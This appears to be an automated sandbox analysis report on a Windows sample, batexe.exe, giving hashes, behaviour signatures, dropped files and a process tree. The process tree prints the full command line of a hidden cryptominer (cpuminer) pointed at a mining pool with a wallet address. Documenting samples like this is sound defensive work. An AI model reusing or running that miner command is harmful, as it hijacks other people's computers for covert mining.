Analysis

  • max time kernel
    297s
  • max time network
    303s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20231215-ja
  • resource tags

    arch:x64arch:x86image:win10v2004-20231215-jalocale:ja-jpos:windows10-2004-x64systemwindows
  • submitted
    18/02/2024, 02:59

General

  • Target

    batexe.exe

  • Size

    9.4MB

  • MD5

    cdc9eacffc6d2bf43153815043064427

  • SHA1

    d05101f265f6ea87e18793ab0071f5c99edf363f

  • SHA256

    73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72

  • SHA512

    fc6945957e160bf7059c936c329aae438e6c1521e5e43a8434f58058230d89e818eb6ff80331a4b952dbb600b8cc134ecba54e5641bf549723c98f85e993fde6

  • SSDEEP

    196608:ERAefrn9wcsTRAJgwusnWpV3h9XxSeEGaT+TKkGzySdUkI56kBIyky:E5Tn9YVwdnWLXxkvLlzkuv

Score
7/10
upx

Malware Config

Signatures

  • Checks computer location settings 2 TTPs 2 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 2 IoCs
  • Loads dropped DLL 5 IoCs
  • UPX packed file 1 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious use of WriteProcessMemory 8 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\batexe.exe
    "C:\Users\Admin\AppData\Local\Temp\batexe.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:3080
    • C:\Users\Admin\AppData\Local\Temp\84DF.tmp\b2e.exe
      "C:\Users\Admin\AppData\Local\Temp\84DF.tmp\b2e.exe" C:\Users\Admin\AppData\Local\Temp\84DF.tmp\b2e.exe C:\Users\Admin\AppData\Local\Temp "C:\Users\Admin\AppData\Local\Temp\batexe.exe"
      2⤵
      • Checks computer location settings
      • Executes dropped EXE
      • Suspicious use of WriteProcessMemory
      PID:2284
      • C:\Windows\SysWOW64\cmd.exe
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\90D6.tmp\batchfile.bat" "
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:348
        • C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe
          cpuminer-sse2.exe -a yespower -o stratum+tcp://yespower.sea.mine.zpool.ca:6234 --userpass=DJXKcu8iouhRppneQL9XbYQ9ovs87y4cYZ:c=doge -t 3
          4⤵
          • Executes dropped EXE
          • Loads dropped DLL
          PID:2116

Network

        MITRE ATT&CK Enterprise v15

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        • C:\Users\Admin\AppData\Local\Temp\84DF.tmp\b2e.exe

          Filesize

          32.4MB

          MD5

          b8f5fe926d1dfcc0bc4606313f919f82

          SHA1

          619f6e4fb7f5024e0c65bb15ad9da3dce8a35998

          SHA256

          7e638408fb887c9f927f94fe1f6473800eb0bd50a288cdc1b341e256f1921f52

          SHA512

          6c5d1d8c40987ecc2b978b33a640a47ad99e1e8501c43e1ee9f72cf5493a3638b17fb13bcc830c62c76db03021379889dad107f08058ca979341b2d16a3fe20c

        • C:\Users\Admin\AppData\Local\Temp\84DF.tmp\b2e.exe

          Filesize

          768KB

          MD5

          41acb3c7c35169437c8e50c36e39f5a5

          SHA1

          6b7a95c8fb404247edb7430b46e931495eeba0d1

          SHA256

          77003c5f07279f31ace3879feb99ce0568a05bc7bc56ecd5707bc0581cb6016a

          SHA512

          670b258078f3ccd9e3e710a994d95d406094dab87b4e4e11e3b312a7883631877ea896bc53150cb8b9bb8a0500df129005973212fce0541978df505edbe7d145

        • C:\Users\Admin\AppData\Local\Temp\84DF.tmp\b2e.exe

          Filesize

          889KB

          MD5

          a8759823d8ac71cad631736a2bb0cb03

          SHA1

          cf441d74896184e26dc6a0e5cf980aff8349c3b5

          SHA256

          c6f6fa200c2ce53d8c40d10edd397bc00cf76d71b6ef032e414251d16f4033d3

          SHA512

          c43cba6694f0f12267c67cd6649502aa3fb0da40ef1a92a2eab612c6329ca35ad9f5edb1366c02783827d737b85d14a4b9a3f94a611c86e65fd6b9ab705acfef

        • C:\Users\Admin\AppData\Local\Temp\90D6.tmp\batchfile.bat

          Filesize

          136B

          MD5

          8ea7ac72a10251ecfb42ef4a88bd330a

          SHA1

          c30f6af73a42c0cc89bd20fe95f9159d6f0756c5

          SHA256

          65e2674fc9b921a76deaf3740603359794c04e059e8937ab36eb931d65f40ec9

          SHA512

          a908979d588625aa24eb81238d07d88a56be5388e1265ebd2fe09889ed807aa9a4af77107e72a843c31acadbe06db0d7f6f6a3c95fb481a71e549e8eb74c2ff0

        • C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

          Filesize

          640KB

          MD5

          0f6af9e19fa927d88313e98d54420920

          SHA1

          0aff9c72864126107d6c630aafb9ed6512042afd

          SHA256

          71661d7077b93e2a5e53d7093e532bec1b66d34e3929bcb314eab7f431b84734

          SHA512

          bba078e2f4eb5ca45956657356f7419767a81679f34d9991bf28a1d44e412340d1002517f74a15583ffe20b32f1f25b60c47f4581100552dc1e651b3f88547be

        • C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

          Filesize

          2.0MB

          MD5

          c3d8cd8f8528fd7e6fd62c51fd1d9058

          SHA1

          94047a6308f2e3bc22aaf74d5ba5b15c438757a4

          SHA256

          80d1ee1f1ad59a18ea733f1cb2aca8ddce62d4104d4e9346be90055b9b95cf22

          SHA512

          fea1e9c4ccc27b987bed71bc85988574ca7b41cbd96468ce7f62fabc96b75d4a3d34d27615e598578047b959c9b233736786c5e3cfeeffb162de991709e751cf

        • C:\Users\Admin\AppData\Local\Temp\libcurl-4.dll

          Filesize

          836KB

          MD5

          aeab40ed9a8e627ea7cefc1f5cf9bf7a

          SHA1

          5e2e8ca2881b9bf9edfa3c4fdcec6da1efa102d8

          SHA256

          218cfc4073bab4eddf0de0804f96b204687311e20a9e97994bff54c9b0e01ee9

          SHA512

          c0a67616fa01fdc351015212a718faf70da6612fbb3ec13da28dd7af9a507c56882fb7c3eea6fbc37d4d63b970157199d16d0756dbe3cb3bc2223e215cb104d8

        • C:\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

          Filesize

          1.1MB

          MD5

          c89e863ce2221a0f49b45a55100e468c

          SHA1

          569ede311983a53a8f23f254fe37735538cbfa5e

          SHA256

          5ca5fb55f2e5ddee30c893b0e78d1ad59f593c2c3e5ecc155f14a088c65cfb46

          SHA512

          f65476f7353ef6ca7378752551c28736b61916cbf54f0a17b211a5a14ab93ddc2830a1d9c3cc1118117a23be95d49b06fc8a174d1a87f360ae4b96a6bbde04b0

        • C:\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

          Filesize

          1.2MB

          MD5

          7cf672bee2afba2dcd0c031ff985958e

          SHA1

          6b82a205db080ffdcb4a4470fce85a14413f3217

          SHA256

          c82f84171b9246d1cac261100b2199789c96c37b03b375f33b2c72afab060b05

          SHA512

          3e90d1c1efe0200cb3cc7b51d04783a3cce8391faa6ce554cff8b23dac60be9f8e4f980a8ac005fd9dff8ea4bdcb02311f7649c5be28eb32dcc26417fc4090e5

        • C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

          Filesize

          1.1MB

          MD5

          799d3c24a4a181fef5c81ff448d54ca8

          SHA1

          4d78bf61e271fee37f496e5b27d98b4003d6f7f1

          SHA256

          49087555ba33ec28799185c3af8f2fe87c0519ce6b74fbfcd6fee01360cf6d73

          SHA512

          422485b12dcd6d9cab0fb589f013f98c5b144de14b6e07af756cb0d6970be8b090e44dd143cf0a3d09e50d4f06d9c68a39a1f3c5241b624446fe1e2ee181cae5

        • C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

          Filesize

          1.3MB

          MD5

          696922f5250b5df33813776816103357

          SHA1

          6f6e4cecb16596c1ad0e631c7ab5b56659da1ca2

          SHA256

          2802e69b65032d2cb76172ab508766f8a2b2beba9c2cd84dbf7c28fc9cbe1c7d

          SHA512

          dcb8535a83f321561241432304155a2e2a18435e102785a5789bd3a9ed643f153fb63ca797c8ca798d2d85927b29375048b43b0ef0bc4cb00c1c96b5822e8ae9

        • C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

          Filesize

          1.1MB

          MD5

          03ae1346c99a66fcbd06c3a56898820a

          SHA1

          cf57878eb1c3523d08468ba3e9e65a063c24d902

          SHA256

          bdb28d28d4f6093c2bbf0cbdf1b2edaf325ad34c214cde4123437896488dc445

          SHA512

          b1e6f93db804c65f996ae29123a601ee95830391d9f5b73608962cbcd25a9082f1b1f9a6e732e5f84bfa3bd7207101edf9d076445370150ae58c9dcace634260

        • C:\Users\Admin\AppData\Local\Temp\libwinpthread-1.dll

          Filesize

          606KB

          MD5

          585efec1bc1d4d916a4402c9875dff75

          SHA1

          d209613666ccac9d0ddab29a3bc59aa00a0968fa

          SHA256

          2f9984c591a5654434c53e8b4d0c5c187f1fd0bab95247d5c9bc1c0bd60e6232

          SHA512

          b93163cba4601ed999a7a7d1887113792e846c36850c6d84f2d505727dc06524bb959469f9df12928769f4535dc6074a6b3599b788a4844353e466742ce1e770

        • memory/2116-69-0x0000000000400000-0x0000000000667000-memory.dmp

          Filesize

          2.4MB

        • memory/2116-74-0x0000000000400000-0x0000000000667000-memory.dmp

          Filesize

          2.4MB

        • memory/2116-43-0x0000000000400000-0x0000000000667000-memory.dmp

          Filesize

          2.4MB

        • memory/2116-44-0x0000000070800000-0x00000000708BC000-memory.dmp

          Filesize

          752KB

        • memory/2116-45-0x0000000061440000-0x000000006156B000-memory.dmp

          Filesize

          1.2MB

        • memory/2116-46-0x0000000071160000-0x00000000711F8000-memory.dmp

          Filesize

          608KB

        • memory/2116-47-0x0000000000F40000-0x00000000027F5000-memory.dmp

          Filesize

          24.7MB

        • memory/2116-104-0x0000000000400000-0x0000000000667000-memory.dmp

          Filesize

          2.4MB

        • memory/2116-64-0x0000000000400000-0x0000000000667000-memory.dmp

          Filesize

          2.4MB

        • memory/2116-94-0x0000000000400000-0x0000000000667000-memory.dmp

          Filesize

          2.4MB

        • memory/2116-89-0x0000000000400000-0x0000000000667000-memory.dmp

          Filesize

          2.4MB

        • memory/2116-84-0x0000000000400000-0x0000000000667000-memory.dmp

          Filesize

          2.4MB

        • memory/2284-7-0x0000000000400000-0x0000000000405000-memory.dmp

          Filesize

          20KB

        • memory/2284-53-0x0000000000400000-0x0000000000405000-memory.dmp

          Filesize

          20KB

        • memory/3080-9-0x0000000000400000-0x000000000393A000-memory.dmp

          Filesize

          53.2MB